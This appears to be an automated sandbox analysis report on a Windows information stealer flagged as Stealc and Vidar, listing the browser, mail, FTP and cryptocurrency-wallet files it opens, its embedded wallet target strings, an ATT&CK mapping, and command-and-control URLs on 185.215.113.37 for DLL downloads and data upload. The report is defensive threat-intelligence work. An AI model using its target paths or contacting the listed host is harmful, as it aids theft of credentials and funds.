Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_001F7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_001F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_001F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2084175637.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2084175637.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6656, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/	18%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpdowsApps	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpQ	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpinomi	17%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.37	18%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php1	17%	Virustotal		Browse
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpy	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpwser	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dlll	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php	19%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	19%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	CBAKJKJJ.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll2	file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2387635460.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpQ	file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdowsApps	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CBAKJKJJ.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll;C	file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpinomi	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BGDBKKFHIEGDHJKECAAK.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll$C	file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllt	file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		unknown
